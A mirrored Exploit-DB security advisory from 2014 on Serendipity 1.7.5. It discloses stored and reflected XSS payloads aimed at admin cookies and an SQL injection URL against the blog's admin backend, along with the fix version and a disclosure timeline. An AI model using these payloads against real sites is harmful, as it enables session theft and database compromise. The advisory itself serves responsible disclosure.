- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 31516
- Проверка EDB
-
- Пройдено
- Автор
- STEFAN SCHURTZ
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- null
- Дата публикации
- 2014-02-07
Код:
Advisory: Serendipity 1.7.5 (Backend) - Multiple security vulnerabilities
Advisory ID: SSCHADV2014-003
Author: Stefan Schurtz
Affected Software: Successfully tested on Serendipity 1.7.5
Vendor URL: http://www.s9y.org/
Vendor Status: fixed
==========================
Vulnerability Description
==========================
The Serendipity 1.7.5 backend is prone to multiple security vulnerabilities
==========================
PoC-Exploit
==========================
// Stored-XSS with "Real name"
(1) Login as "Standard editor" user
(2) Under "Personal Settings" set your "Real name" to "><script>alert(document.cookie)</script>
The XSS will be executed for the Administrator if he manages the users (Backend -> Administration -> Manage users)
// SQL-Injection - with "serendipity[install_plugin]"
http://[target]/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[pluginPath]=serendipity_event_spamblock&serendipity[install_plugin]=[SQLi]
// Reflected XSS_1 - "serendipity[install_plugin]"
http://[target]/s/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[pluginPath]=&serendipity[install_plugin]=78524'%3b<script>alert(1)</script>%2f%2f912
// Reflected XSS_2 - "serendipity[id]"
POST http://[target]/serendipity/serendipity_admin.php?
serendipity%5Baction%5D=admin&serendipity%5BadminModule%5D=entries&serendipity%5BadminAction%5D=save&serendipity%5Bid%5D="><script>alert(document.cookie)<%2fscript>&serendipity%5Btimestamp%5D=1391086127&serendipity%5Bpreview%5D=false&serendipity%5Btoken%5D=0fb9473e000f67c7d530e0698c8ff2dc&serendipity%5Btitle%5D=test1&serendipity%5Bisdraft%5D=false&serendipity%5Bchk_timestamp%5D=1391086127&serendipity%5Bnew_timestamp%5D=2014-01-30+13%3A48&serendipity%5Bcategories%5D%5B%5D=0&serendipity%5Bbody%5D=test1&serendipity%5Ballow_comments%5D=true&serendipity%5Bextended%5D=
// Reflected XSS_3 - "serendipity[timestamp]"
POST http://[target]/serendipity/serendipity_admin.php?
serendipity%5Baction%5D=admin&serendipity%5BadminModule%5D=entries&serendipity%5BadminAction%5D=save&serendipity%5Bid%5D=&serendipity%5Btimestamp%5D="><script>alert(document.cookie)<%2fscript>&serendipity%5Bpreview%5D=false&serendipity%5Btoken%5D=d9e231ef9eaeb5e58336806484de7600&serendipity%5Btitle%5D=test&serendipity%5Bisdraft%5D=false&serendipity%5Bchk_timestamp%5D=1391084636&serendipity%5Bnew_timestamp%5D=2014-01-30+13%3A23&serendipity%5Bcategories%5D%5B%5D=0&serendipity%5Bbody%5D=test%3Cstrong%3E%3C%2Fstrong%3E%3Cblockquote%3E%3C%2Fblockquote%3E&serendipity%5Ballow_comments%5D=true&serendipity%5Bmoderate_comments%5D=true&serendipity%5Bextended%5D
==========================
Solution
==========================
Upgrade to the latest version Serendipity 1.7.7
==========================
Disclosure Timeline
==========================
30-Jan-2014 - developer informed by email
30-Jan-2014 - feedback from developer
31-Jan-2014 - first diff tested
03-Feb-2014 - second diff tested
04-Feb-2014 - third diff tested
06-Feb-2014 - release of Serendipity 1.7.7
==========================
Credits
==========================
Vulnerabilities found and advisory written by Stefan Schurtz.
==========================
References
==========================
http://s9y.org/
http://blog.s9y.org/archives/253-Serendipity-1.7.7-released.html
http://www.darksecurity.de/advisories/2014/SSCHADV2014-003.txt- Источник
- www.exploit-db.com
